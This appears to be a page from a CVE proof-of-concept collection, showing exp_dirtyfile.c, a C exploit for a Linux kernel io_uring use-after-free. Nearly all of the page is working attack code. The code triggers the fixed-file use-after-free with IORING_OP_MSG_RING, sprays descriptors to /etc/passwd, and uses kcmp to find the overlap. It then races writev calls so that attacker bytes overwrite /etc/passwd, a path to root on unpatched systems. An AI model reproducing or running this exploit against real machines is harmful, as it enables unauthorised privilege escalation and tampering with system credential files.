4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exp_dirtyfile.c C
// gcc exp_dirtyfile.c -o exp_dirtyfile -static -no-pie -s -luring -lpthread \
//     -L ./liburing/ -I ./liburing/include

#define _GNU_SOURCE

#include <assert.h>
#include <fcntl.h>
#include <linux/kcmp.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <syscall.h>
#include <unistd.h>

#include "liburing.h"

#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"

#define logd(fmt, ...)                                                         \
    dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...)                                                         \
    dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,      \
            __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...)                                                         \
    dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,     \
            __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...)                                                         \
    dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,        \
            __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                                                          \
    do {                                                                       \
        loge(fmt, ##__VA_ARGS__);                                              \
        loge("Exit at line %d", __LINE__);                                     \
        exit(1);                                                               \
    } while (0)

#define TEMP_WORKDIR "/tmp/exp_dir"
#define TEMP_VICTIM_FILE "victim"
#define TEMP_VICTIM_SYMLINK "uaf"

#define MAX_FILE_NUM 800

#define kcmp(pid1, pid2, type, idx1, idx2)                                     \
    syscall(__NR_kcmp, pid1, pid2, type, idx1, idx2)

#define ATTACK_FILE "/etc/passwd"
char attack_data[] = {0x41, 0x41, 0x41, 0x41};

int uaf_fd = -1;

int spray_fds[MAX_FILE_NUM];
pthread_spinlock_t write_mutex;
pthread_spinlock_t spray_mutex;

void prepare_workdir() {
    logd("perpare the environment ...");
    char *cmdline;
    asprintf(&cmdline, "rm -rf %s && mkdir -p %s && touch '%s/%s'",
             TEMP_WORKDIR, TEMP_WORKDIR, TEMP_WORKDIR, TEMP_VICTIM_FILE);
    if (system(cmdline) != 0) {
        die("create temp workdir: %m");
    }

    if (chmod(TEMP_WORKDIR, 0777)) {
        die("chmod: %m");
    }

    if (chdir(TEMP_WORKDIR)) {
        die("chdir: %m");
    }
    free(cmdline);
}

void *task_slow_write(void *args) {
    logd("start slow write to get the lock");
    int fd = open(TEMP_VICTIM_SYMLINK, O_WRONLY);

    if (fd < 0) {
        die("error open uaf file: %m");
    }

    unsigned long int addr = 0x30000000;
    int offset;
    for (offset = 0; offset < 0x20000; offset++) {
        if (mmap((void *)(addr + offset * 0x1000), 0x1000,
                 PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0,
                 0) == MAP_FAILED) {
            loge("allocate failed at 0x%x", offset);
        }
    }

    assert(offset > 0);

    void *mem = (void *)(addr);
    *(uint32_t *)mem = 0x41414141;

#define IOVEC_CNT 5
    struct iovec iov[IOVEC_CNT];
    for (int i = 0; i < IOVEC_CNT; i++) {
        iov[i].iov_base = mem;
        iov[i].iov_len = (offset - 1) * 0x1000;
    }

    pthread_spin_unlock(&write_mutex);
    // [1]:最先执行
    logd("start slow writev ...");
    if (writev(fd, iov, IOVEC_CNT) < 0) {
        die("slow writev: %m");
    }
#undef IOVEC_CNT
    logd("slow writev done!");
    return NULL;
}

void *task_write_cmd(void *args) {
    struct iovec iov = {.iov_base = attack_data,
                        .iov_len = sizeof(attack_data)};

    pthread_spin_lock(&write_mutex);
    pthread_spin_unlock(&spray_mutex);

    // [2]:会等[1]执行完再执行
    logd("start writev 2 ...");
    int ans = writev(uaf_fd, &iov, 1);
    if (ans < 0) {
        loge("failed to write:(%d) %m", errno);
    }
    logd("writev 2 done");
    return NULL;
}

void trigger_fd_uaf(int fd) {
#ifndef REQ_F_FIXED_FILE
#define REQ_F_FIXED_FILE 1
#endif
    logd("trigger fd %d UAF ...", fd);

    struct io_uring ring;
    struct io_uring_sqe *sqe;
    io_uring_queue_init(64, &ring, 0);
    io_uring_register_files(&ring, &fd, 1);

    // i = 3 because slow writev() cause refcnt +1
    for (int i = 0; i < 3; i++) {
        sqe = io_uring_get_sqe(&ring);
        sqe->opcode = IORING_OP_MSG_RING;
        sqe->flags = REQ_F_FIXED_FILE;
        sqe->fd = 0;
        io_uring_submit(&ring);
    }

    // init_task_work(&file->f_u.fu_rcuhead, ____fput);
    logd("wait task ____fput() to free the struct file ...");
    usleep(500 * 1000);
}

bool spray_files() {
    pthread_spin_lock(&spray_mutex);

    trigger_fd_uaf(uaf_fd);

    logd("spray_files start!");
    // [3]:因为[2]在等[1],所以在[2]的实际写入之前执行
    bool find_overlap = false;
    logd("uaf_fd: %d, start spray ...", uaf_fd);
    for (int i = 0; i < MAX_FILE_NUM; i++) {
        spray_fds[i] = open(ATTACK_FILE, O_RDONLY);
        if (spray_fds[i] < 0) {
            die("open file %d: %m", i);
        }
        if (kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, spray_fds[i]) == 0) {
            logi("find overlap spray_fds[%d]: %d", i, spray_fds[i]);
            find_overlap = true;
            break;
        }
    }
    if (!find_overlap) {
        logw("not find overlap fd pairs :(");
    }

    return find_overlap;
}

int main(void) {
    prepare_workdir();

    symlink(TEMP_VICTIM_FILE, TEMP_VICTIM_SYMLINK);
    uaf_fd = open(TEMP_VICTIM_SYMLINK, O_WRONLY);
    logd("uaf_fd: %d", uaf_fd);
    if (uaf_fd < 0) {
        die("open: %m");
    }

    pthread_t p1, p2;
    pthread_spin_init(&write_mutex, 0);
    pthread_spin_init(&spray_mutex, 0);
    pthread_spin_lock(&write_mutex);
    pthread_spin_lock(&spray_mutex);
    pthread_create(&p1, NULL, task_slow_write, NULL);
    pthread_create(&p2, NULL, task_write_cmd, NULL);

    bool success = spray_files();

    pthread_join(p1, NULL);
    pthread_join(p2, NULL);
    pthread_spin_destroy(&spray_mutex);
    pthread_spin_destroy(&write_mutex);

    if (!success) {
        die("spray failed");
    }

    logi("exploit done");

    return 0;
}